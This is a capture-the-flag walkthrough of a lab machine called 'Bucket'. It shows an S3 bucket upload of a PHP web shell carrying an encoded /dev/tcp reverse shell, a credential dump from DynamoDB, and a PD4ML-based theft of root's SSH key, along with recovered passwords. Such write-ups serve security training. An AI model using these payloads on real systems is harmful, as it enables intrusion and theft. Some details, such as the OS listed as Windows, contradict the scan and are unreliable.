Bucket

Detailed Walkthrough

Initial Access

Upon establishing a connection to the VPN, the tester initiated the assessment by performing a service enumeration. This process revealed the following open ports:

Additionally, by looking the website source code, it was discovered s3.bucket.htb subdomain associated with the host indicating the presence of AWS implemented on the server.

Utilizing this information, the tester proceeded to use awscli to verify the scope and permissions of the S3 bucket. It was determined that the adserver bucket was completely publicly accessible with write permissions and was also hosting the files for the http://bucket.htb/ application.

❯ aws s3 ls --endpoint-url http://s3.bucket.htb/
2025-10-26 19:41:41 adserver

❯ aws s3 ls s3://adserver --endpoint-url http://s3.bucket.htb/
                           PRE images/
2025-10-26 19:41:42       5344 index.html

❯ aws s3 sync s3://adserver adserver --endpoint-url http://s3.bucket.htb/
download: s3://adserver/index.html to adserver/index.html        
download: s3://adserver/images/bug.jpg to adserver/images/bug.jpg  
download: s3://adserver/images/malware.png to adserver/images/malware.png
download: s3://adserver/images/cloud.png to adserver/images/cloud.png

❯ aws s3 cp file.txt s3://adserver --endpoint-url http://s3.bucket.htb/
upload: ./file.txt to s3://adserver/file.txt  

To compromise the server, the tester crafted a PHP shell and uploaded it to the bucket, which was subsequently activated by accessing http://bucket.htb/shell.php, successfully compromising the server.

❯ cat shell.php
<?php system('echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC8xMjM0IDA+JjE=|base64 -d|bash');?>

❯ aws s3 cp shell.php s3://adserver --endpoint-url http://s3.bucket.htb/
upload: ./shell.php to s3://adserver/shell.php 

Lateral Movement

After gaining an initial foothold as www-data, the tester discovered /home/roy/project/db.php, which contained the DynamoDB client configuration pointing at a local endpoint (http://localhost:4566). This revealed a new internal service to enumerate.

www-data@bucket:/home/roy/project# cat db.php
<?php
require 'vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;

$client = new Aws\Sdk([
    'profile' => 'default',
    'region'  => 'us-east-1',
    'version' => 'latest',
    'endpoint' => 'http://localhost:4566'
]);

$dynamodb = $client->createDynamoDb();

//todo

Using the AWS CLI against the local endpoint (after configuring temporary fake credentials), the tester listed tables and scanned the users table, recovering several account records and password values.

One of the recovered credentials corresponded to the roy user, enabling direct lateral movement into that account.

www-data@bucket:~$ aws dynamodb list-tables  --endpoint-url http://localhost:4566
Unable to locate credentials. You can configure credentials by running "aws configure".
www-data@bucket:~$ aws configure
AWS Access Key ID [None]: test
AWS Secret Access Key [None]: test
Default region name [us-east-1]: 
Default output format [json]: json
www-data@bucket:~$ aws dynamodb list-tables  --endpoint-url http://localhost:4566
{
    "TableNames": [
        "users"
    ]
}
www-data@bucket:~$ aws dynamodb scan --table-name users --endpoint-url http://localhost:4566
{
    "Items": [
        {
            "password": {
                "S": "<SNIF>"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "<SNIF>"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "<SNIF>"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}
www-data@bucket:~$ 

Privilege escalation

Once authenticated as roy user. it was identified an internal application running on 8000 port.

roy@bucket:/var/www/bucket-app$ netstat -tnl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:33555         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN 

The tester set up Local Port Forwarding via SSH to redirect the traffic from the tester's machine to the target machine using port 8000.

❯ ssh -L 8000:127.0.0.1:8000 roy@bucket.htb 

Further investigation uncovered the internal application source code located at /var/www/bucket-app/index.php, which contains a remote command execution vulnerability due to the utilization of the passthru PHP function.

The application require a POST request to http://localhost:8080 with the parameter action=get_alerts, which is triggered by pd4ml_demo.jar that is passed to passthru for execution.

passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf")

PD4ML is a Java-based tool designed to convert HTML and CSS content into PDF documents. It includes a useful tag known as pd4ml:attachment , which allows for the inclusion of an arbitrary document or binary file as an attachment in the resulting PDF.

On the other hand, a DynamoDB table named alerts must exist with the following columns to facilitate the exploitation:

  • title

  • data

<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
	if($_POST["action"]==="get_alerts") {
		date_default_timezone_set('America/New_York');
		$client = new DynamoDbClient([
			'profile' => 'default',
			'region'  => 'us-east-1',
			'version' => 'latest',
			'endpoint' => 'http://localhost:4566'
		]);

		$iterator = $client->getIterator('Scan', array(
			'TableName' => 'alerts',
			'FilterExpression' => "title = :title",
			'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
		));

		foreach ($iterator as $item) {
			$name=rand(1,10000).'.html';
			file_put_contents('files/'.$name,$item["data"]);
		}
		passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
	}
}
<SNIF>

In order to fulfill the requirements, the tester created the table along with the values necessary to attach the root's SSH keys into the resulted pdf.

roy@bucket:/var/www/bucket-app$ aws --endpoint-url=http://localhost:4566 dynamodb create-table   --table-name alerts   --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S   --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE   --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5  
{
    "TableDescription": {
        "AttributeDefinitions": [
            {
                "AttributeName": "title",
                "AttributeType": "S"
            },
            {
                "AttributeName": "data",
                "AttributeType": "S"
            }
        ],
        "TableName": "alerts",
        "KeySchema": [
            {
                "AttributeName": "title",
                "KeyType": "HASH"
            },
            {
                "AttributeName": "data",
                "KeyType": "RANGE"
            }
        ],
        "TableStatus": "ACTIVE",
        "CreationDateTime": 1761539651.319,
        "ProvisionedThroughput": {
            "LastIncreaseDateTime": 0.0,
            "LastDecreaseDateTime": 0.0,
            "NumberOfDecreasesToday": 0,
            "ReadCapacityUnits": 5,
            "WriteCapacityUnits": 5
        },
        "TableSizeBytes": 0,
        "ItemCount": 0,
        "TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts"
    }
}
roy@bucket:/var/www/bucket-app$  aws --endpoint-url=http://localhost:4566 dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><pd4ml:attachment src='\''file:///root/.ssh/id_rsa'\'' description='\''test'\'' icon='\''Paperclip'\''/></html>"}}'
{
    "ConsumedCapacity": {
        "TableName": "alerts",
        "CapacityUnits": 1.0
    }
}

Finally, the tester triggered the vulnerability and successfully downloaded the PDF, which led to the attachment of the root SSH keys, compromising the entire server as root user.

❯ curl -X POST 'http://127.0.0.1:8000/index.php'  -d 'action=get_alerts'
wget http://127.0.0.1:8000/files/result.pdf

Credentials

Username
Password
Methods
Scope
Notes

roy

n2vM-<_K_Q:.Aa2

Extracted from DynamoDB

SSH User

👤 Users wordlist

support@bucket.htb
roy

🔑 Password wordlist

Management@#1@#
Welcome123!
n2vM-<_K_Q:.Aa2
Sysadm

Subdomains / Hosts

Subdomain / Host
Host
Description
Notes

s3.bucket.htb

10.10.10.212

Host the main application.

AWS S3

Host Discovered

Name
IP
Domain
Low Access
High Access
OS

Bucket

10.10.10.212

Windows

Scans

# Nmap 7.95 scan initiated Sat Oct 25 16:01:32 2025 as: /usr/lib/nmap/nmap --privileged --open -sS -Pn -n -p- -T5 -A -oN 10.10.10.212_tcp_allports -vvv 10.10.10.212
Nmap scan report for 10.10.10.212
Host is up, received user-set (0.077s latency).
Scanned at 2025-10-25 16:01:32 PDT for 36s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=10/25%OT=22%CT=1%CU=31675%PV=Y%DS=2%DC=T%G=N%TM=68FD56
OS:F0%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552ST
OS:11NW7%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Uptime guess: 36.040 days (since Fri Sep 19 15:04:58 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   77.37 ms 10.10.14.1
2   76.79 ms 10.10.10.212

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 25 16:02:08 2025 -- 1 IP address (1 host up) scanned in 36.10 seconds

Scripts / Automations

Flag Discovered

Flag #
Host
Flag location
Method used
Value

User

10.10.10.212

roy

Extracted from Dynamodb

<SNIF>

Root

10.10.10.212

root

Abusing Local Application

<SNIF>

Last updated